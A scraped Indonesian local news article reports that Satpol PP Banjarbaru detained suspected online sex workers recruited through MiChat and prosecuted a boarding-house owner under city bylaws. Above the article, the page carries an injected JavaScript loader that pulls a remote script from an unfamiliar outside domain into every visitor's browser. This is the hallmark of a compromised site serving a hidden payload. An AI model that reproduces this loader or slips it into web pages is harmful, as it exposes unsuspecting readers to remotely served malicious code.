(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARBARU – Empat dari enam orang diduga Pekerja Seks Komersial (PSK) yang diamankan Satuan Polisi Pamong Praja (Satpol PP) Kota Banjarbaru masuk tahap lidik dan akan disidangkan.
Sedangkan untuk pemilik rumah kos yang ikut terlibat akan disidangkan dan diberi surat peringatan dan terancam ditutup.
Kepala Satpol PP Banjarbaru, Hidayaturahman mengatakan, sebelumnya pihak Satpol PP mengamankan 16 orang setelah pihaknya mendalami tersisa enam orang yang diamankan kemudian sisa empat orang terindikasi sebagai PSK aplikasi online. Pihaknya mengamankan semua terduga PSK aplikasi online dari dua tempat berbeda, Selasa (10/1/2023) siang.
Di sebuah kos yang berada di Jalan Bina Satria Guntung Jingah, Kelurahan Loktabat Utara dan sebuah rumah di Komplek Citra Bintang Wikatama Blok A, Kelurahan Sungai Ulin.
Baca juga : Enam PSK Online Diamankan Satpol PP Banjarbaru, Satu Orang Pemain Lama
“Penangkapan ini berdasarkan laporan masyarakat,” ujarnya, Rabu (11/1/2023) siang.
Setelah itu pihaknya berhasil mengamankan empat orang terduga pelaku prostitusi online dan seorang pemilik rumah.
Saat ini kata Dayat, kelima orang ini dalam proses pemeriksaan dengan dititipkan di Rumah Singgah Berkarakter Dinsos Banjarbaru.
“Kalau hasil pemeriksaan memenuhi syarat maka akan dilanjutkan ke persidangan,” katanya.
Dilanjutkan Dayat, berdasarkan pengakuan para terduga pelaku prostitusi online ini mereka mematok harga dari Rp 600 ribu – Rp 700 ribu per sekali kencan sebelum proses tawar menawar. Dengan melayani 3 – 7 orang lelaki hidung belang.
Baca juga : Ganggu Pembelajaran, Disdik Banjarmasin Larang Lato-lato Masuk Sekolah
“Modus jual dirinya di apliksai Michat, setelah tawar menawar dipatok sekitar 300 – 400 ribu,” tuntasnya.
Sementara itu, Kasi Opsdal Satpol PP Banjarbaru, Yanto Hidayat mengatakan, barang bukti sudah diserahkan tim lapangan ke bidang sidik lidik. Terkait hasil kesehatan dari Dinkes Banjarbaru semuanya negatif HIV.
“Kalau semuanya lengkap, besok kita bawa ke pengadilan,” ujarnya.
Dijelaskan Yanto, setelah melakukan pendalaman, keempat orang terduga pelaku prostitusi online ini rata-rata bermotif karena tuntutan ekonomi.
Terkait pelaku yang sudah pernah terjaring, kata Yanto, pihaknya tidak cukup bukti sehingga tidak diteruskan ke proses selanjutnya.
Baca juga : Wabup Batola 2002-2007 HM Hatta Mazanie Berpulang ke Rahmatullah
Untuk pemilik kos di daerah Sungai Ulin itu kata Yanto, pemilik mengetahui kegiatan yang dilakukan pelaku prostitusi online tapi memilih tutup mulut.
“Setelah didalami, pemilik kos bungkam, karena dibiarkan maka tetap dilanjutkan ke pengadilan,” ungkapnya.
Berdasarkan Perda, nantinya pihak kos akan memberikan pernyataan tidak memberlakukan lagi kos campur laki-laki perempuan.
“Kalau tetap ngeyel, maka kos tersebut akan dikembalikan ke fungsinya semula sebagai rumah biasa,” tuntasnya.
Adapun sanksi yang dikenakan berdasarkan Perda Nomor 6 Tahun 2002 tentang pemberangtasan pelacur, Perda Nomor 1 Tahun 2013 tentang pengaturan usaha rumah kos dan Perda Nomor 6 Tahun 2014 tentang ketertiban umum dan ketentraman masyarakat.(Kanalkalimantan.com/ibnu)
Reporter : ibnu
Editor : bie
KANALKALIMANTAN.COM, BANJARBARU - Penjabat Sementara (Pjs) Wali Kota Banjarbaru Dra Hj Nurliani MAP telah bertugas… Read More
KANALKALIMANTAN.COM, AMUNTAI - Menjelang hari pemilihan dan memasuki masa tenang Pemilihan Kepala Daerah (Pilkada) 2024,… Read More
KANALKALIMANTAN.COM, AMUNTAI - Komisi Pemilihan Umum (KPU) Kabupaten Hulu Sungai Utara (HSU) mulai mendistribusikan logistik… Read More
KANALKALIMANTAN.COM, BALI – Didukung oleh BRImo, OPPO Indonesia resmi menggelar OPPO RUN 2024 yang berlangsung… Read More
KANALKALIMANTAN.COM, JAKARTA - Kompleksitas isu lingkungan kerap dianggap sulit untuk dikemas menjadi berita sederhana namun… Read More
KANALKALIMANTAN.COM, BANJARBARU - Ratusan personel tim terpadu menertibkan Alat Peraga Kampanye (APK) sehari jelang masa… Read More
This website uses cookies.